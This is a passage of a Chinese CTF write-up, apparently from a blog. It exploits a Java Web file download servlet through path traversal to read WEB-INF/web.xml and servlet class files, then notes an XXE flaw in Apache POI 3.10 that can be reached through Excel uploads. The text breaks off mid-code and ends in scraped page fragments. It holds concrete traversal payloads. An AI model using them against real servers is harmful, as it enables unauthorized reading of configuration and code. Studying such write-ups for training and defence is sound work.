一、题目背景与功能分析
题目为一个基于Java Web的文件上传/下载系统,用户可上传文件并通过返回的下载链接获取文件。初步测试发现,下载接口存在任意文件下载漏洞,可读取服务器敏感配置文件(如WEB-INF/web.xml)。
二、漏洞挖掘与利用流程
1. 任意文件下载漏洞利用
-
正常上传文件
观察到源代码<a href="./DownloadServlet?filename=b1f12e34-e48d-41ee-b533-3e8ddba50942_Snipaste_2025-02-26_17-27-53.png">Snipaste_2025-02-26_17-27-53.png</a> -
发现路径穿越
通过修改DownloadServlet的filename参数,尝试跳出当前目录。例如,构造filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml,成功下载Web应用的配置文件。<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <servlet> <servlet-name>DownloadServlet</servlet-name> <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>DownloadServlet</servlet-name> <url-pattern>/DownloadServlet</url-pattern> </servlet-mapping> <servlet> <servlet-name>ListFileServlet</servlet-name> <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>ListFileServlet</servlet-name> <url-pattern>/ListFileServlet</url-pattern> </servlet-mapping> <servlet> <servlet-name>UploadServlet</servlet-name> <servlet-class>cn.abc.servlet.UploadServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>UploadServlet</servlet-name> <url-pattern>/UploadServlet</url-pattern> </servlet-mapping> </web-app> -
获取Servlet类路径
web.xml中定义了Servlet映射,如DownloadServlet对应的类路径为cn.abc.servlet.DownloadServlet.class,进一步构造路径下载类文件:
filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class。
2. 代码审计与漏洞定位
反编译下载的.class文件后,进行反编译,发现UploadServlet关键逻辑:
- 文件名需以
excel-开头且后缀为xlsx时,使用WorkbookFactory.create()解析Excel文件。 - 引入的
org.apache.poi库(版本3.10)存在XXE漏洞,未禁用外部实体解析。
package cn.abc.servlet;
// 导入所需的类库
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.List;
import java.util.UUID;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache

Write-Up&spm=1001.2101.3001.5002&articleId=146006325&d=1&t=3&u=e4a60712868941d58e12b4dcad7a7475)
4894

被折叠的 条评论
为什么被折叠?



